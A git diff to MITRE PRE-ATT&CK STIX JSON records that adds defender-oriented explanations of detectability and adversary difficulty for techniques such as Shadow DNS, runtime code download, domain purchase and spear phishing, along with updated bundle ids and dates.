                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a.json b/pre-attack/attack-pattern/attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a.json
index 759eb6de02..34372166ef 100644
--- a/pre-attack/attack-pattern/attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a.json
+++ b/pre-attack/attack-pattern/attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--96a26e2f-c408-4841-b4be-b3de195d5ed0",
+    "id": "bundle--701904e7-f166-4d86-bf24-1951f3adc71e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shadow DNS",
-            "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely.  In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Detection of this technique requires individuals to monitor their domain registrant accounts routinely.  In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2.json b/pre-attack/attack-pattern/attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2.json
index c67ebd35d7..a702e0acd8 100644
--- a/pre-attack/attack-pattern/attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2.json
+++ b/pre-attack/attack-pattern/attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bfb2a9f0-8e95-4b94-afea-13fd462cecfc",
+    "id": "bundle--5d6865d4-3c88-4402-9f6a-aa0fe719d0dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Runtime code download and execution",
-            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store).  These app stores scan submitted applications for malicious behavior.  However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store).  These app stores scan submitted applications for malicious behavior.  However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -52,7 +52,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--45242287-2964-4a3e-9373-159fad4d8195.json b/pre-attack/attack-pattern/attack-pattern--45242287-2964-4a3e-9373-159fad4d8195.json
index fb8a92cbc1..8061dd67a7 100644
--- a/pre-attack/attack-pattern/attack-pattern--45242287-2964-4a3e-9373-159fad4d8195.json
+++ b/pre-attack/attack-pattern/attack-pattern--45242287-2964-4a3e-9373-159fad4d8195.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af1a4259-c4c0-4252-a066-36751dd4d26f",
+    "id": "bundle--4adcba82-09df-43c6-8a04-63721a54a0e8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Buy domain name",
-            "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars.  Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS TLDs and registrars.  Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--46017368-6e09-412b-a29c-385be201cc03.json b/pre-attack/attack-pattern/attack-pattern--46017368-6e09-412b-a29c-385be201cc03.json
index 3714501c7c..00d8524094 100644
--- a/pre-attack/attack-pattern/attack-pattern--46017368-6e09-412b-a29c-385be201cc03.json
+++ b/pre-attack/attack-pattern/attack-pattern--46017368-6e09-412b-a29c-385be201cc03.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ef8aa19-64c9-4732-80a5-7fe92c590fc4",
+    "id": "bundle--625a77a7-907d-4ac9-8fb4-ffe1e024ecc6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--46017368-6e09-412b-a29c-385be201cc03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain domain/IP registration information",
-            "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Open access to DNS registration/routing information is inherent in Internet architecture.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS information makes registration information functionally freely available."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a.json b/pre-attack/attack-pattern/attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a.json
index aa9a441012..d097c092ab 100644
--- a/pre-attack/attack-pattern/attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a.json
+++ b/pre-attack/attack-pattern/attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed6ab7a4-96d4-478c-b500-91a52979e238",
+    "id": "bundle--46d7d399-356b-414e-8ffd-a43dab97ab60",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build or acquire exploits",
-            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6.json b/pre-attack/attack-pattern/attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6.json
index 2d717a13b6..712cbd2d98 100644
--- a/pre-attack/attack-pattern/attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6.json
+++ b/pre-attack/attack-pattern/attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc34af21-4fbc-48f7-af45-9243cc35b027",
+    "id": "bundle--de61595e-9f5c-4e8e-a1ea-e199239382c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party software services",
-            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc.json b/pre-attack/attack-pattern/attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc.json
index 66bbb9b1a5..fba2ba77a7 100644
--- a/pre-attack/attack-pattern/attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc.json
+++ b/pre-attack/attack-pattern/attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56db100b-1a09-4ae7-a566-037fe8acbf9c",
+    "id": "bundle--2495b692-cfe2-49aa-95bd-dbe87d320d63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with malicious links",
-            "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns.  However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it.  Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected.  The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defenders can implement mechanisms to analyze links and identify levels of concerns.  However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it.  Detection of a malicious link could be identified once the file has been downloaded.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial and expected.  The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077.json b/pre-attack/attack-pattern/attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077.json
index a0f596e4f5..92a1b64c21 100644
--- a/pre-attack/attack-pattern/attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077.json
+++ b/pre-attack/attack-pattern/attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b29361b-33ec-44ac-8775-3b38216d4579",
+    "id": "bundle--ada73735-1f6d-48e7-b024-f3f44b00aad7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party infrastructure to support delivery",
-            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4.json b/pre-attack/attack-pattern/attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4.json
index 770ef34a34..03f184ef3e 100644
--- a/pre-attack/attack-pattern/attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4.json
+++ b/pre-attack/attack-pattern/attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--280efb9b-349f-4f33-85e6-5e1603b645ef",
+    "id": "bundle--5449f9e8-a562-421e-9cf3-1c18fae5e515",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise of externally facing system",
-            "description": "Externally facing systems allow connections from outside the network as a normal course of operations.  Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Externally facing systems allow connections from outside the network as a normal course of operations.  Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4.json b/pre-attack/attack-pattern/attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4.json
index 2058ee7f1b..15260a177c 100644
--- a/pre-attack/attack-pattern/attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4.json
+++ b/pre-attack/attack-pattern/attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7a8ad8c-1510-435d-badb-e15ef40575a7",
+    "id": "bundle--c776244d-c53f-4c85-9c19-4f3d40118d26",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication attempt",
-            "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location.  If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials.  This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is possible with diligent monitoring of login anomalies, expected user behavior/location.  If the adversary uses legitimate credentials, it may go undetected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials.  This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d.json b/pre-attack/attack-pattern/attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d.json
index 5b7381902d..621cc6af24 100644
--- a/pre-attack/attack-pattern/attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d.json
+++ b/pre-attack/attack-pattern/attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7723716-9d2c-436f-abc1-15647954eb6d",
+    "id": "bundle--73e4482e-d8ef-4619-9009-aaec29d9fa81",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assign KITs, KIQs, and/or intelligence requirements",
-            "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
